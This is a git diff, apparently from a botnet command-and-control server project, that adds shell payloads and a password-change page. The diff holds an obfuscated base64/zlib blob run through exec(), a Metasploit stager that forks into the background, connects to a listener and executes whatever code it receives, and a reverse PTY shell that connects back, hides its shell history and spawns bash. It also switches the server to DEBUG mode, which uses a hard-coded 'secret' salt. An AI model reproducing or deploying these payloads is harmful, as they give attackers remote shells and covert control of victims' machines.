tu63vlbYD8wMr4NqOsjCmwFxDp9OFhF9Vy8KLl/VE6ERJ4ZelWh/PvgWmkqChKRRcB5WkIGV7gWYmArQXVCnCkOLN6tTTZM5mZa9AEZYot5+b12oEeGU2a/TPLWX519V8zYVX1laC4EdD4ppIR15EXeC/WcAWPAqowquYGGggTsoi3WMv6J5DRVSUrIE1wzvScKDsiz0FMEOAQv1vTplbwXTq74hWx97bLcjK2iRg7enUEjMU2vYDM/6Uu7pdzKQoGwqNJkMhuDD8PkjoowjKlqubOK95Gkem9GYTSoYyxpUeNHumNpE1aGSm6xKkQSOcEw3UqY3a091Ugb5oplr9+0CwHXAGxh+4nPlunj5NDtSgMrJW6a9EzRxX+Ww8145MmKC2rjdvUG9keJL8kBi5X6AizfXlOrG5nUIVQ9JxhLp75LRrcbzsuezBl7dcRoiConO4bP9zmxWQ3QKyIEUO26C9vq3gNT1ia+7qIukKB/nz2oP/puLZhVE8n4v4WkHgDLDYU+ZoF7AIt4ED9xdEWarucLh80gj3Z4u2c1xysbDKyWBAXhlq28DlcleQmGBpxl4einayo49a5Soog7J0j+EoEoHuBvOleyvQ730LwoqBQrqlsNg8ta7OwYvyQLF9f754rXmRaxqwUvPCaGoPoEfhESc1T12dFken99TDQJvrFGgtK09HXkmYajDDEi0ienL9AzleSB8='))) +exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPMiaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu60Z0Hb8MKbAVz+hLF8ZOp0vJPyOtSy9eFtPhM6UFH55qvXx/FtgKgkamkLBdXCUlKRsL9DMRIB2gipFGFK8WZ16mszZvOxHUIQlKuwX5rUaAV6ZzRr9C0t5/nU133PhnbWVIPjFkLgm0pGXUZf4HxawBQ8DqvAqJgYaiJOxSPfYG7oXUBEVFWtgzXBCGg5UfbGjAGYIUKr/zSlzjzCd+jui1bF3dguysjYJWHs6tcQMhbb9zIw/1a5uFzMpqoZCo8lQCC4Mvw8S+iiCshXqJs5bnsWRKb3ZhJIhu93woNkztYmsQSMzXZcgDRrhnGmgTm3Unu+mI+ibZqrVvw8ES4AzMP7A5dx38/RpcqAGlZP1mP6jqJnjYz4bz7UTEyaorevNG9QbGZ4kPyRG4ReoSHN9uU5sbqdQxZB0HKHuDjntWhxvey5/8BUtlxOipOgcLtv/3GYlZLeELElRwDZor28reFGP2Jq7uki6wkHxxPbgv6l4fmGUT+gyvlYQOAMsdpQ52gUswm3gwP0FUVaqCQ6Xrxrh6WLRdk5LrhZWNRkMyDtDbRu4XO0KEhMszdgrQtFOdvRRq1oFVVCW7jEcRSLQ3WC+dG8F+r1vQVgxUEi3FBab19bNJXhRHSi3ny4X7zWvCk0DVmleGU3tAfQoPOKk5qmr0+Lo9J57GGhznRKtZRXpKCoJUw1mWKpFRE+ufwCvYUzD'))) # Created by pyminifier (https://github.com/liftoff/pyminifier) diff --git a/server/formatsock.py b/server/formatsock.py index 4dba79c..3f0f8a1 100644 --- a/server/formatsock.py +++ b/server/formatsock.py @@ -12,6 +12,7 @@ def __init__(self, sock): self.lastbytes = b'' self.sendlock = threading.Lock() self.recvlock = threading.Lock() + self.datalock = threading.Lock() def send(self,msg): ''' @@ -86,3 +87,12 @@ def close(self): # Allowed to close while recv, not while sending with self.sendlock: return self.sock.close() + + def settimeout(self, timeout): + with self.sendlock: + with self.datalock: + self.sock.settimeout(timeout) + + def gettimeout(self): + with self.datalock: + return self.sock.gettimeout() diff --git a/server/payloads/metasploit_handler.py b/server/payloads/metasploit_handler.py index 54d1cca..7d8d5db 100644 --- a/server/payloads/metasploit_handler.py +++ b/server/payloads/metasploit_handler.py @@ -5,11 +5,21 @@ VAR LPORT: Metasploit host port ''' -import socket,struct -s=socket.socket(2,1) -s.connect((LHOST,int(LPORT))) -l=struct.unpack('>I',s.recv(4))[0] -d=s.recv(4096) -while len(d)!=l: - d+=s.recv(4096) -exec(d,{'s':s}) \ No newline at end of file +import os + +try: + # Use double fork + setsid/umask to mask parent process etc... + if os.fork() == 0: + if os.fork(): + # _exit exits without cleanup. + os._exit(0) + + import socket,struct + s=socket.socket(2,1) + s.connect((LHOST,int(LPORT))) + l=struct.unpack('>I',s.recv(4))[0] + d=s.recv(4096) + while len(d)!=l: + d+=s.recv(4096) + exec(d,{'s':s}) +except OSError as e: diff --git a/server/payloads/reverse_pty.py b/server/payloads/reverse_pty.py new file mode 100644 index 0000000..d18c852 --- /dev/null +++ b/server/payloads/reverse_pty.py @@ -0,0 +1,37 @@ +''' +NAME: Reverse TCP pty +DESCRIPTION: Opens pseudo-tty for terminal-like connections. Taken from python-pty-shells. Example listener: socat file:`tty`,echo=0,raw tcp4-listen:LPORT +VAR LHOST: host ip +VAR LPORT: host port +''' +import os, sys + +lhost = LHOST +lport = int(LPORT) +try: + # Use double fork + setsid/umask to mask parent process etc... + if os.fork() == 0: + if os.fork(): + # _exit exits without cleanup. + os._exit(0) + + os.setsid() + os.umask(0) + + cmd = ("import os, pty, socket" + "\n" + "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)" + "\n" + "s.connect(('{}',{}))" + "\n" + "os.dup2(s.fileno(),0)" + "\n" + "os.dup2(s.fileno(),1)" + "\n" + "os.dup2(s.fileno(),2)" + "\n" + "os.putenv('HISTFILE','/dev/null')" + "\n" + "pty.spawn('/bin/bash')" + "\n" + "s.close()" + "\n" + "os._exit(0)" + "\n").format(lhost,lport) + + # Completely forget all inherited information from parents. + os.execv(sys.executable, [sys.executable, '-c', cmd]) + + sys.stdout.write("Fork successful, going dark.") +except OSError as e: + sys.stderr.write("{}".format(e)) diff --git a/server/server.py b/server/server.py index f129e6a..7c98406 100644 --- a/server/server.py +++ b/server/server.py @@ -16,7 +16,7 @@ import flask from flask import request import flask_login -from flask_login import LoginManager, login_required +from flask_login import LoginManager, login_required, current_user from flask_socketio import SocketIO from flask_mail import Message, Mail from itsdangerous import URLSafeTimedSerializer @@ -27,7 +27,7 @@ To run: python server.py''' -DEBUG = False +DEBUG = True HOSTNAME = 'botfly.me' BASEDIR = os.path.abspath(os.path.dirname(__file__)) UPLOAD_FOLDER = 'payloads/' @@ -44,7 +44,7 @@ app.config['SECURITY_PASSWORD_SALT'] = 'secret' if DEBUG else os.environ['SECRET_SALT'] DB_LOC = 'test.db' -app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(BASEDIR, DB_LOC) +app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(BASEDIR, DB_LOC) socketio = SocketIO(app, async_mode=async_mode) db.init_app(app) @@ -109,11 +109,22 @@ def logout(): return flask.redirect(flask.url_for('login')) -@app.route("/profile") +@app.route("/profile", methods=['GET', 'POST']) @login_required def change_password(): - flask.flash("Under construction") - flask.redirect(flask.url_for('index')) + errs = [] + if request.method == 'POST': + # Change password (redirect on success) + passwd1 = request.form.get('password1') + passwd2 = request.form.get('password2') + if passwd1 == passwd2: + UserManager.change_password(current_user.uname, passwd1) + flask.flash("Success!") + return flask.redirect(flask.url_for('index')) + else: + errs.append("Passwords do not match") + + return flask.render_template('profile.html', username=current_user.uname, errors=errs) @app.route("/invite", methods=['GET', 'POST']) @@ -312,7 +323,7 @@ def payload_launch(): return "No payload specified", 404 elif request.method == 'GET': - payloadstr = json.dumps(botnet.getPayloads()) + payloadstr = json.dumps(botnet.getPayloads(), sort_keys=True) return flask.Response(payloadstr, status=200, mimetype='application/json') elif request.method == 'DELETE': diff --git a/server/serverclasses.py b/server/serverclasses.py index eba1154..037b291 100644 --- a/server/serverclasses.py +++ b/server/serverclasses.py @@ -36,6 +36,10 @@ def change_password(uname, newpassword): user = User.query.filter_by(uname=uname).first() if user: user.change_password(newpassword) + db.session.commit() + return True + else: + return False class User(UserMixin, db.Model): @@ -61,6 +65,7 @@ def validate(self, passwd): def change_password(self, newpasswd): self.pwhash = generate_password_hash(newpasswd) + return True def __repr__(self): return ''.format(self.uname) diff --git a/server/templates/profile.html b/server/templates/profile.html new file mode 100644 index 0000000..1ac51ee --- /dev/null +++ b/server/templates/profile.html @@ -0,0 +1,42 @@ + + +{% include 'header.html' %} + +
+
+
+
+ +
+
+ + +
+
+ +
+
+ + + +
+
+ +
+
+ +
+
+ {% if error %} +
+
+ {{ error }} +
+
+ {% endif %} +
+
+
+
+ + \ No newline at end of file